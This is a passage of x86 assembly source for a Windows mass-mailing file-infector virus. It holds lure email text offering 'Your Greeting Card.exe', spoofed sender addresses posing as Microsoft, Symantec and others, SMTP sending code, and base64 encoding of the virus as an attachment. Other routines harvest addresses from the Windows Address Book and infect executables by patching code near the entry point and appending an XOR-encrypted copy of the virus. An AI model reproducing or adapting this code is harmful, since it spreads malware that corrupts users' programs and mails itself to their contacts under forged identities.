db "Love,Fun,Good Life,And Good Luck.",0dh,0ah,0dh,0ah
|
||
|
|
db "To Show His Love He Sent You A Greeting",0dh,0ah
|
||
|
|
db "Card,Congratulations !",0dh,0ah,0dh,0ah
|
||
|
|
db "Hope you enjoy our e-cards! Spread the love and send one of our FREE e-cards!",0dh,0ah
|
||
|
|
db "Brought to you by greeting-cards.com - a better way to greet for FREE! ",0dh,0ah
|
||
|
|
db "Please Visit Greeting Cards Web site:http://www.greeting-cards.com/",0dh,0ah
|
||
|
|
db "--bound1",0dh,0ah
|
||
|
|
db "Content-Type: application/octet-stream;",0dh,0ah
|
||
|
|
db ' name= "Your Greeting Card.exe"',0dh,0ah
|
||
|
|
db "Content-Transfer-Encoding: base64",0dh,0ah
|
||
|
|
db "Content-Disposition: attachment;",0dh,0ah
|
||
|
|
db ' filename= "Your Greeting Card.exe"',0dh,0ah,0dh,0ah
|
||
|
|
|
||
|
|
SizeOfMessageAndFileName5 equ ($-MessageAndFileName5)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
EndOfMail:
|
||
|
|
|
||
|
|
db 0dh,0ah,"--bound1--",0dh,0ah
|
||
|
|
db 0dh,0ah,'.',0dh,0ah
|
||
|
|
|
||
|
|
SizeOfEndOfMail equ ($-EndOfMail)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
HELO db "HELO <localhost>",0dh,0ah
|
||
|
|
SizeOfHELO equ ($-HELO)
|
||
|
|
|
||
|
|
|
||
|
|
MAILFROM1 db "MAIL FROM:<SecurityUpdate@Microsoft.com>",0dh,0ah
|
||
|
|
SizeOfMailFrom1 equ ($-MAILFROM1)
|
||
|
|
|
||
|
|
MAILFROM2 db "MAIL FROM:<FreePictures@WorldSex.com>",0dh,0ah
|
||
|
|
SizeOfMailFrom2 equ ($-MAILFROM2)
|
||
|
|
|
||
|
|
MAILFROM3 db "MAIL FROM:<VirusAlert@Symantec.com>",0dh,0ah
|
||
|
|
SizeOfMailFrom3 equ ($-MAILFROM3)
|
||
|
|
|
||
|
|
MAILFROM4 db "MAIL FROM:<Support@Kazaa.com>",0dh,0ah
|
||
|
|
SizeOfMailFrom4 equ ($-MAILFROM4)
|
||
|
|
|
||
|
|
MAILFROM5 db "MAIL FROM:<Greets@Greeting-Cards.com>",0dh,0ah
|
||
|
|
SizeOfMailFrom5 equ ($-MAILFROM5)
|
||
|
|
|
||
|
|
|
||
|
|
QUIT db "QUIT",0dh,0ah
|
||
|
|
SizeOfQuit equ ($-QUIT)
|
||
|
|
RCPT db "RCPT TO:<"
|
||
|
|
SizeOfRcpt equ ($-RCPT)
|
||
|
|
EndOfRCPT db ">",0dh,0ah
|
||
|
|
SizeOfEndRcpt equ ($-EndOfRCPT)
|
||
|
|
__DATA db "DATA",0dh,0ah
|
||
|
|
SizeOfData equ ($-__DATA)
|
||
|
|
|
||
|
|
GetBuffer db 0ffh dup(0)
|
||
|
|
|
||
|
|
VERSION1_1 equ 0101h
|
||
|
|
AF_INET equ 2
|
||
|
|
SOCK_STREAM equ 1
|
||
|
|
SOCKET_ERR equ -1
|
||
|
|
HOSTENT_IP equ 10h
|
||
|
|
IPPROTO_TCP equ 6h
|
||
|
|
|
||
|
|
vsocket dd 0
|
||
|
|
WSADATA:
|
||
|
|
mVersion dw 0
|
||
|
|
mHighVersion dw 0
|
||
|
|
szDescription db 257 dup(0)
|
||
|
|
szSystemStatus db 129 dup(0)
|
||
|
|
iMaxSockets dw 0
|
||
|
|
iMaxUpdDg dw 0
|
||
|
|
lpVendorInfo dd 0
|
||
|
|
|
||
|
|
SOCKADDR:
|
||
|
|
sin_family dw 0
|
||
|
|
sin_port dw 0
|
||
|
|
sin_addr dd 0
|
||
|
|
sin_zero db 8 dup(0)
|
||
|
|
SizeOfSOCKADDR equ ($-SOCKADDR)
|
||
|
|
|
||
|
|
ConnectToServer:
|
||
|
|
;connect to smtp server
|
||
|
|
lea eax,[ebp + WSADATA]
|
||
|
|
push eax
|
||
|
|
push VERSION1_1
|
||
|
|
call [ebp + WSAStartup] ;start up winsock
|
||
|
|
cmp eax,0h
|
||
|
|
jne ConnectionErr
|
||
|
|
push IPPROTO_TCP
|
||
|
|
push SOCK_STREAM
|
||
|
|
push AF_INET
|
||
|
|
call [ebp + socket] ;create socket
|
||
|
|
cmp eax,SOCKET_ERR
|
||
|
|
je WSACleanErr
|
||
|
|
mov dword ptr [ebp + vsocket],eax
|
||
|
|
push 25 ;smtp
|
||
|
|
call [ebp + htons]
|
||
|
|
mov word ptr [ebp + sin_port],ax
|
||
|
|
mov word ptr [ebp + sin_family],AF_INET
|
||
|
|
lea eax,[ebp + SmtpServerAdd]
|
||
|
|
push eax
|
||
|
|
call [ebp + gethostbyname]
|
||
|
|
cmp eax,0h
|
||
|
|
je CloseSockErr
|
||
|
|
mov eax,dword ptr [eax + HOSTENT_IP]
|
||
|
|
mov eax,dword ptr [eax]
|
||
|
|
mov dword ptr [ebp + sin_addr],eax
|
||
|
|
push SizeOfSOCKADDR
|
||
|
|
lea eax,[ebp + SOCKADDR]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + connect]
|
||
|
|
cmp eax,0h
|
||
|
|
jne CloseSockErr
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
CloseSockErr:
|
||
|
|
push dword ptr [ebp + vsocket]
|
||
|
|
call [ebp + closesocket]
|
||
|
|
WSACleanErr:
|
||
|
|
call [ebp + WSACleanup]
|
||
|
|
ConnectionErr:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
CreateVirusBase64Image:
|
||
|
|
cmp byte ptr [ebp + Infection_Success],0h ;if we didnt success to infect file
|
||
|
|
je SendDropper ;or the running file is not infected
|
||
|
|
xor ecx,ecx
|
||
|
|
lea esi,[ebp + FileToInfect]
|
||
|
|
get_len:cmp byte ptr [esi],0h
|
||
|
|
je CpyPath
|
||
|
|
inc ecx
|
||
|
|
inc esi
|
||
|
|
jmp get_len
|
||
|
|
CpyPath:inc ecx
|
||
|
|
lea esi,[ebp + FileToInfect]
|
||
|
|
lea edi,[ebp + wvltg_exe_path] ;we simple send the virus dropper
|
||
|
|
rep movsb
|
||
|
|
jmp _____1
|
||
|
|
SendDropper:
|
||
|
|
push 0ffh
|
||
|
|
lea eax,[ebp + wvltg_exe_path]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + GetModuleFileName]
|
||
|
|
cmp eax,0h
|
||
|
|
je Base64CreationErr
|
||
|
|
_____1: ;open it:
|
||
|
|
push 0h
|
||
|
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
|
push OPEN_EXISTING
|
||
|
|
push 0h
|
||
|
|
push FILE_SHARE_READ
|
||
|
|
push GENERIC_READ
|
||
|
|
lea eax,[ebp + wvltg_exe_path]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je Base64CreationErr
|
||
|
|
mov [ebp + hvirusfile],eax
|
||
|
|
;get file size:
|
||
|
|
push 0
|
||
|
|
push [ebp + hvirusfile]
|
||
|
|
call [ebp + GetFileSize]
|
||
|
|
cmp eax,0ffffffffh
|
||
|
|
je CloseFileErr
|
||
|
|
mov [ebp + virusfilesize],eax
|
||
|
|
push eax
|
||
|
|
xor edx,edx
|
||
|
|
mov ecx,3h
|
||
|
|
div ecx
|
||
|
|
xchg ecx,eax
|
||
|
|
pop eax
|
||
|
|
add eax,ecx
|
||
|
|
mov ecx,25
|
||
|
|
mul ecx
|
||
|
|
add eax,400h ;allocate more memory than needed,just for safty
|
||
|
|
push eax
|
||
|
|
push GPTR
|
||
|
|
call [ebp + GlobalAlloc] ;allocate memory
|
||
|
|
cmp eax,0h
|
||
|
|
je CloseFileErr
|
||
|
|
mov [ebp + base64outputmem],eax
|
||
|
|
;map file into the memory
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push PAGE_READONLY
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hvirusfile]
|
||
|
|
call [ebp + CreateFileMapping]
|
||
|
|
cmp eax,0h
|
||
|
|
je B64FreeMemErr
|
||
|
|
mov [ebp + hvirusmap],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_READ
|
||
|
|
push dword ptr [ebp + hvirusmap]
|
||
|
|
call [ebp + MapViewOfFile]
|
||
|
|
cmp eax,0h
|
||
|
|
je B64CloseMapErr
|
||
|
|
mov [ebp + hvirusinmem],eax
|
||
|
|
xchg eax,esi
|
||
|
|
mov edi,[ebp + base64outputmem]
|
||
|
|
mov ecx,[ebp + virusfilesize]
|
||
|
|
call Base64
|
||
|
|
mov [ebp + sizeofbase64out],eax
|
||
|
|
push [ebp + hvirusinmem]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
push [ebp + hvirusmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
push [ebp + hvirusfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
B64CloseMapErr:
|
||
|
|
push dword ptr [ebp + hvirusmap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
B64FreeMemErr:
|
||
|
|
push dword ptr [ebp + base64outputmem]
|
||
|
|
call [ebp + GlobalFree]
|
||
|
|
CloseFileErr:
|
||
|
|
push [ebp + hvirusfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
Base64CreationErr:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
wvltg_exe_path db 0ffh dup(0)
|
||
|
|
hvirusfile dd 0
|
||
|
|
virusfilesize dd 0
|
||
|
|
base64outputmem dd 0
|
||
|
|
sizeofbase64out dd 0
|
||
|
|
hvirusmap dd 0
|
||
|
|
hvirusinmem dd 0
|
||
|
|
|
||
|
|
;input:
|
||
|
|
;esi - data source
|
||
|
|
;edi - where to write encoded data
|
||
|
|
;ecx - size of data to encode
|
||
|
|
;output:
|
||
|
|
;eax - size of encoded data
|
||
|
|
Base64: xor edx,edx
|
||
|
|
push edx
|
||
|
|
@3Bytes:push edx
|
||
|
|
xor eax,eax
|
||
|
|
xor ebx,ebx
|
||
|
|
or al,byte ptr [esi]
|
||
|
|
shl eax,8h
|
||
|
|
inc esi
|
||
|
|
or al,byte ptr [esi]
|
||
|
|
shl eax,8h
|
||
|
|
inc esi
|
||
|
|
or al,byte ptr [esi]
|
||
|
|
inc esi
|
||
|
|
push ecx
|
||
|
|
mov ecx,4h
|
||
|
|
@outbit:mov ebx,eax
|
||
|
|
and ebx,3fh ;leave only 6 bits
|
||
|
|
lea edx,[ebp + Base64Table]
|
||
|
|
mov bl,byte ptr [ebx + edx]
|
||
|
|
mov byte ptr [edi + ecx - 1h],bl
|
||
|
|
shr eax,6h
|
||
|
|
loop @outbit
|
||
|
|
pop ecx
|
||
|
|
sub ecx,2h
|
||
|
|
add edi,4h
|
||
|
|
pop edx
|
||
|
|
add edx,4h
|
||
|
|
add dword ptr [esp],4h
|
||
|
|
cmp ecx,3h
|
||
|
|
jb ExitB64
|
||
|
|
cmp edx,4ch ;did we need to add new line ?
|
||
|
|
jne DoLoop
|
||
|
|
xor edx,edx
|
||
|
|
mov word ptr [edi],0a0dh
|
||
|
|
add edi,2h
|
||
|
|
add dword ptr [esp],2h
|
||
|
|
DoLoop: loop @3Bytes
|
||
|
|
ExitB64:pop eax
|
||
|
|
ret
|
||
|
|
|
||
|
|
Base64Table db "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
|
||
|
|
|
||
|
|
|
||
|
|
GetSMTPServer:
|
||
|
|
;get the default smtp server from the registry
|
||
|
|
mov dword ptr [ebp + hkey],0h
|
||
|
|
lea eax,[ebp + hkey]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp +smtp_key]
|
||
|
|
push eax
|
||
|
|
push HKEY_CURRENT_USER
|
||
|
|
call [ebp + RegOpenKeyEx]
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne SmtpGetErr
|
||
|
|
lea eax,[ebp + SizeOfAccountNum]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + accountnum]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + default_mail]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegQueryValueEx]
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne CloseKeyErr
|
||
|
|
lea eax,[ebp + accountnum]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + accountkey]
|
||
|
|
push eax
|
||
|
|
call [ebp + lstrcat]
|
||
|
|
cmp eax,0h
|
||
|
|
je CloseKeyErr
|
||
|
|
lea eax,[ebp + hkey]
|
||
|
|
push eax
|
||
|
|
push KEY_READ
|
||
|
|
push 0h
|
||
|
|
lea eax,[ebp + accountkey]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegOpenKeyEx]
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne CloseKeyErr
|
||
|
|
lea eax,[ebp + SizeOfSMTPServerAdd]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + SmtpServerAdd]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + smtp_server]
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegQueryValueEx]
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne CloseKeyErr
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegCloseKey]
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
CloseKeyErr:
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegCloseKey]
|
||
|
|
SmtpGetErr:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
smtp_key db "Software\Microsoft\Internet Account Manager",0
|
||
|
|
default_mail db "Default Mail Account",0
|
||
|
|
smtp_server db "SMTP Server",0
|
||
|
|
SmtpServerAdd db 75 dup(0)
|
||
|
|
SizeOfSMTPServerAdd dd 75
|
||
|
|
accountnum db 75 dup(0)
|
||
|
|
SizeOfAccountNum dd 75
|
||
|
|
accountkey db "Accounts\",75 dup(0)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
GetWinsockApis:
|
||
|
|
lea eax,[ebp + WinsockDll]
|
||
|
|
push eax
|
||
|
|
call [ebp + LoadLibrary]
|
||
|
|
cmp eax,0h
|
||
|
|
je GetWinsockApisErr
|
||
|
|
mov dword ptr [ebp + hWinsock],eax
|
||
|
|
xchg eax,edx
|
||
|
|
mov ecx,NumberOfWinsockFunctions
|
||
|
|
lea eax,[ebp + winsock_functions_sz]
|
||
|
|
lea ebx,[ebp + winsock_functions_addresses]
|
||
|
|
call get_apis
|
||
|
|
ret
|
||
|
|
GetWinsockApisErr:
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
WinsockDll db "ws2_32.dll",0
|
||
|
|
hWinsock dd 0
|
||
|
|
|
||
|
|
|
||
|
|
winsock_functions_sz:
|
||
|
|
|
||
|
|
_WSAStartup db "WSAStartup",0
|
||
|
|
_WSACleanup db "WSACleanup",0
|
||
|
|
_socket db "socket",0
|
||
|
|
_gethostbyname db "gethostbyname",0
|
||
|
|
_connect db "connect",0
|
||
|
|
_recv db "recv",0
|
||
|
|
_send db "send",0
|
||
|
|
_htons db "htons",0
|
||
|
|
_closesocket db "closesocket",0
|
||
|
|
|
||
|
|
winsock_functions_addresses:
|
||
|
|
|
||
|
|
WSAStartup dd 0
|
||
|
|
WSACleanup dd 0
|
||
|
|
socket dd 0
|
||
|
|
gethostbyname dd 0
|
||
|
|
connect dd 0
|
||
|
|
recv dd 0
|
||
|
|
send dd 0
|
||
|
|
htons dd 0
|
||
|
|
closesocket dd 0
|
||
|
|
|
||
|
|
NumberOfWinsockFunctions equ 9
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
ScanWAB: ;scan the windows address book for email addresses
|
||
|
|
mov dword ptr [ebp + hkey],0h
|
||
|
|
lea eax,[ebp + hkey]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + WAB_Location]
|
||
|
|
push eax
|
||
|
|
push HKEY_CURRENT_USER
|
||
|
|
call [ebp + RegOpenKeyEx]
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne WabScanErr
|
||
|
|
lea eax,[ebp + SizeOfWAB_PATH]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + WAB_Path]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push [ebp + hkey]
|
||
|
|
call [ebp + RegQueryValueEx] ;get the wab file location
|
||
|
|
cmp eax,ERROR_SUCCESS
|
||
|
|
jne CloseWABkeyAndExit
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegCloseKey]
|
||
|
|
;open the wab file:
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push FILE_ATTRIBUTE_NORMAL
|
||
|
|
push OPEN_EXISTING
|
||
|
|
push eax
|
||
|
|
push FILE_SHARE_READ
|
||
|
|
push GENERIC_READ
|
||
|
|
lea eax,[ebp + WAB_Path]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je WabScanErr
|
||
|
|
mov dword ptr [ebp + hWabFile],eax
|
||
|
|
;map the wab file:
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push PAGE_READONLY
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hWabFile]
|
||
|
|
call [ebp + CreateFileMapping]
|
||
|
|
cmp eax,0h
|
||
|
|
jne MapWab
|
||
|
|
ErrCMF: push dword ptr [ebp + hWabFile] ;error close wab file
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
jmp WabScanErr
|
||
|
|
MapWab: mov [ebp + hWabMap],eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push FILE_MAP_READ
|
||
|
|
push dword ptr [ebp + hWabMap]
|
||
|
|
call [ebp + MapViewOfFile]
|
||
|
|
cmp eax,0h
|
||
|
|
jne ReadAddresses
|
||
|
|
ErrCWM: push dword ptr [ebp + hWabMap] ;error close wab map
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
jmp ErrCMF
|
||
|
|
ReadAddresses:
|
||
|
|
mov [ebp + hWabMapBase],eax
|
||
|
|
mov ax,word ptr [eax + 64h] ;get number of email addresses
|
||
|
|
cmp ax,1h
|
||
|
|
jnbe AllocAddMem
|
||
|
|
ErrUWF: push dword ptr [ebp + hWabMapBase] ;error unmap wab file
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
jmp ErrCWM
|
||
|
|
AllocAddMem:
|
||
|
|
mov word ptr [ebp + NumberOfMailAddresses],ax
|
||
|
|
mov cx,44h ;every mail address allocated 68 bytes
|
||
|
|
mul cx ;ax = size of allocated memory
|
||
|
|
xor ebx,ebx
|
||
|
|
xchg ax,bx
|
||
|
|
push ebx
|
||
|
|
push GPTR
|
||
|
|
call [ebp + GlobalAlloc]
|
||
|
|
cmp eax,0h
|
||
|
|
je ErrUWF
|
||
|
|
mov [ebp + hMailAddresses],eax
|
||
|
|
xchg eax,ebx
|
||
|
|
xor ecx,ecx
|
||
|
|
mov eax,[ebp + hWabMapBase]
|
||
|
|
mov cx,word ptr [ebp + NumberOfMailAddresses]
|
||
|
|
add eax,[eax + 60h] ;goto start of emails
|
||
|
|
NxtMail:push ecx
|
||
|
|
mov ecx,44h
|
||
|
|
CpyMail:cmp byte ptr [eax],0h
|
||
|
|
je MovNext
|
||
|
|
mov dl,byte ptr [eax]
|
||
|
|
mov byte ptr [ebx],dl
|
||
|
|
inc ebx
|
||
|
|
add eax,2h
|
||
|
|
dec ecx
|
||
|
|
loop CpyMail
|
||
|
|
MovNext:add eax,ecx
|
||
|
|
inc ebx
|
||
|
|
mov byte ptr [ebx],0h
|
||
|
|
pop ecx
|
||
|
|
loop NxtMail
|
||
|
|
push dword ptr [ebp + hWabMapBase]
|
||
|
|
call [ebp + UnMapViewOfFile]
|
||
|
|
push dword ptr [ebp + hWabMap]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
push dword ptr [ebp + hWabFile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
ret
|
||
|
|
CloseWABkeyAndExit:
|
||
|
|
push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegCloseKey]
|
||
|
|
WabScanErr:
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
WAB_Location db "Software\Microsoft\WAB\WAB4\Wab File Name",0
|
||
|
|
WAB_Path db 0ffh dup(0)
|
||
|
|
SizeOfWAB_PATH dd 0ffh
|
||
|
|
hWabFile dd 0
|
||
|
|
hWabMap dd 0
|
||
|
|
hWabMapBase dd 0
|
||
|
|
hMailAddresses dd 0
|
||
|
|
NumberOfMailAddresses dw 0
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
ExecuteFile:
|
||
|
|
mov dword ptr [ebp + cb],SizeOfStartupinfo
|
||
|
|
lea eax,[ebp + Startupinfo]
|
||
|
|
push eax
|
||
|
|
call [ebp + GetStartupInfo]
|
||
|
|
lea eax,[ebp + Process_Information]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + Startupinfo]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + FileDirectory]
|
||
|
|
push eax
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + CommandLine]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateProcess]
|
||
|
|
ret
|
||
|
|
|
||
|
|
Process_Information:
|
||
|
|
hprocess dd 0
|
||
|
|
hthread dd 0
|
||
|
|
dwprocessid dd 0
|
||
|
|
dwthreadid dd 0
|
||
|
|
|
||
|
|
Startupinfo:
|
||
|
|
cb dd 0
|
||
|
|
lpReserved dd 0
|
||
|
|
lpDesktop dd 0
|
||
|
|
lpTitle dd 0
|
||
|
|
dwX dd 0
|
||
|
|
dwY dd 0
|
||
|
|
dwXSize dd 0
|
||
|
|
dwYSize dd 0
|
||
|
|
dwXCountChars dd 0
|
||
|
|
dwYCountChars dd 0
|
||
|
|
dwFillAttribute dd 0
|
||
|
|
dwFlags dd 0
|
||
|
|
wShowWindow dw 0
|
||
|
|
cbReserved2 dw 0
|
||
|
|
lpReserved2 dd 0
|
||
|
|
hStdInput dd 0
|
||
|
|
hStdOutput dd 0
|
||
|
|
hStdError dd 0
|
||
|
|
SizeOfStartupinfo equ $-Startupinfo
|
||
|
|
|
||
|
|
|
||
|
|
InfectFile:
|
||
|
|
;*********************Debug C0de*******************************
|
||
|
|
IF DEBUG
|
||
|
|
push MB_YESNO
|
||
|
|
lea eax,[ebp + warning]
|
||
|
|
push eax
|
||
|
|
lea eax,[ebp + FileToInfect]
|
||
|
|
push eax
|
||
|
|
push 0h
|
||
|
|
call [ebp + MessageBox]
|
||
|
|
cmp eax,IDYES
|
||
|
|
jne ExitInfect
|
||
|
|
ENDIF
|
||
|
|
;**************************************************************
|
||
|
|
call CheckFileName
|
||
|
|
jnc ExitInfect
|
||
|
|
clc
|
||
|
|
call CheckSFPFile
|
||
|
|
jnc ExitInfect
|
||
|
|
call RemoveFileAttributes
|
||
|
|
call OpenFile
|
||
|
|
jnc ExitInfect
|
||
|
|
mov eax,[ebp + mapbase]
|
||
|
|
cmp word ptr [eax],"ZM" ;check mz sign
|
||
|
|
jne ExitWithoutInfection
|
||
|
|
add eax,[eax + 3ch]
|
||
|
|
cmp word ptr [eax],"EP" ;check pe sign
|
||
|
|
jne ExitWithoutInfection
|
||
|
|
push eax ;save pe header offset in the stack
|
||
|
|
mov cx,word ptr [eax + 16h] ;get flags
|
||
|
|
and cx,2000h
|
||
|
|
cmp cx,2000h ;is dll ?
|
||
|
|
jne nodll ;infect only executeables
|
||
|
|
pop eax ;restore stack
|
||
|
|
jmp ExitWithoutInfection
|
||
|
|
nodll: mov ecx,[eax + 34h] ;get image base
|
||
|
|
mov [ebp + ProgramImageBase],ecx ;save image base
|
||
|
|
movzx ecx,word ptr [eax + 6h] ;get number of sections
|
||
|
|
mov ebx,[eax + 74h]
|
||
|
|
shl ebx,3h
|
||
|
|
add eax,ebx
|
||
|
|
add eax,78h ;goto first section header
|
||
|
|
@nexts: mov ebx,[eax + 24h] ;get section flags
|
||
|
|
and ebx,20h
|
||
|
|
cmp ebx,20h ;is code section ?
|
||
|
|
je FoundCS
|
||
|
|
add eax,28h
|
||
|
|
loop @nexts
|
||
|
|
pop eax ;restore stack
|
||
|
|
jmp ExitWithoutInfection
|
||
|
|
FoundCS:mov ebx,[eax + 10h] ;get section size of raw data
|
||
|
|
sub ebx,[eax + 8h]
|
||
|
|
cmp ebx,0beh ;check for minimum decryptor size
|
||
|
|
ja ____1
|
||
|
|
pop eax ;restore stack
|
||
|
|
jmp ExitWithoutInfection
|
||
|
|
____1: mov ecx,[eax + 8h] ;get section vitrual size
|
||
|
|
mov ebx,ecx ;get section virtual size
|
||
|
|
add ebx,[eax + 14h] ;add to it pointer raw data rva
|
||
|
|
add ebx,[ebp + mapbase] ;convert it to va
|
||
|
|
mov [ebp+WhereToWriteDecryptor],ebx ;set where to write decryptor
|
||
|
|
mov ebx,dword ptr [esp] ;get pe header
|
||
|
|
push eax ;save pointer to code section header
|
||
|
|
push ecx ;save size of code section
|
||
|
|
mov eax,[ebx + 28h] ;get entry point rva
|
||
|
|
add eax,[ebp + mapbase] ;convert it to va
|
||
|
|
mov ecx,64h ;100 bytes
|
||
|
|
call ScanAndPatch ;try to patch instruction that close to EP first
|
||
|
|
jnc patch2 ;if fail try some other thing...
|
||
|
|
add esp,8h ;restore stack
|
||
|
|
jmp ____2
|
||
|
|
patch2: mov ecx,64h ;100 bytes
|
||
|
|
mov eax,[esp + 8h] ;get pe header
|
||
|
|
mov eax,[eax + 28h] ;get program entry point rva
|
||
|
|
add eax,[ebp + mapbase] ;convert it to va
|
||
|
|
sub eax,0c00h ;it work with some programs :)
|
||
|
|
call ScanAndPatch
|
||
|
|
jnc all_sec ;if we fail scan all code section
|
||
|
|
add esp,8h ;restore stack
|
||
|
|
jmp ____2
|
||
|
|
all_sec:pop ecx ;restore size of code section
|
||
|
|
pop eax ;restore pointer to code section header
|
||
|
|
mov eax,[eax + 14h]
|
||
|
|
add eax,[ebp + mapbase] ;goto section raw data
|
||
|
|
call ScanAndPatch
|
||
|
|
jc ____2
|
||
|
|
pop eax ;restore stack
|
||
|
|
jmp ExitWithoutInfection
|
||
|
|
____2: mov eax,dword ptr [esp] ;get pe header
|
||
|
|
xor ecx,ecx
|
||
|
|
mov cx,word ptr [eax + 6h] ;get number of sections
|
||
|
|
dec ecx
|
||
|
|
mov ebx,[eax + 74h]
|
||
|
|
shl ebx,3h
|
||
|
|
add eax,ebx
|
||
|
|
add eax,78h
|
||
|
|
@nexts2:add eax,28h
|
||
|
|
loop @nexts2 ;goto last section header
|
||
|
|
or [eax + 24h],0C0000000h ;set section flags to readable\writeable
|
||
|
|
add dword ptr [eax + 8h],VirusSize ;add virus size to section virtual size
|
||
|
|
xchg eax,ebx
|
||
|
|
mov eax,[ebx + 8h] ;get section new virtual size
|
||
|
|
mov ecx,dword ptr [esp] ;get pe header
|
||
|
|
mov ecx,[ecx + 3ch] ;get file alignment
|
||
|
|
push eax ;\
|
||
|
|
xor edx,edx ; \
|
||
|
|
div ecx ;-->align section size
|
||
|
|
sub ecx,edx ; /
|
||
|
|
pop dword ptr [ebx + 10h] ;/
|
||
|
|
add dword ptr [ebx + 10h],ecx ;set new section size of raw data
|
||
|
|
push eax
|
||
|
|
mov [ebp + FixRVA],0 ;add VirtualSize-PointerToRawData
|
||
|
|
mov eax,[ebx + 0ch] ;subtraction to the virus offset
|
||
|
|
sub eax,[ebx + 14h] ;when decrypting and jumping to
|
||
|
|
mov [ebp + FixRVA],eax ;virus at runtime.
|
||
|
|
pop eax
|
||
|
|
mov eax,[ebx + 14h] ;get section raw data rva
|
||
|
|
add eax,[ebp + mapbase] ;convert it to va
|
||
|
|
add eax,[ebx + 8h] ;goto end of section
|
||
|
|
sub eax,VirusSize
|
||
|
|
mov [ebp + StartOfDataToEncrypt],eax;set the virus start offset
|
||
|
|
xchg edi,eax
|
||
|
|
call [ebp + GetTickCount]
|
||
|
|
mov byte ptr [ebp + XorKey],al ;set random key
|
||
|
|
push edi ;virus in infected files
|
||
|
|
push eax ;tick count
|
||
|
|
lea esi,[ebp + _main]
|
||
|
|
mov ecx,VirusSize
|
||
|
|
rep movsb ;copy virus into host
|
||
|
|
pop eax
|
||
|
|
pop edi
|
||
|
|
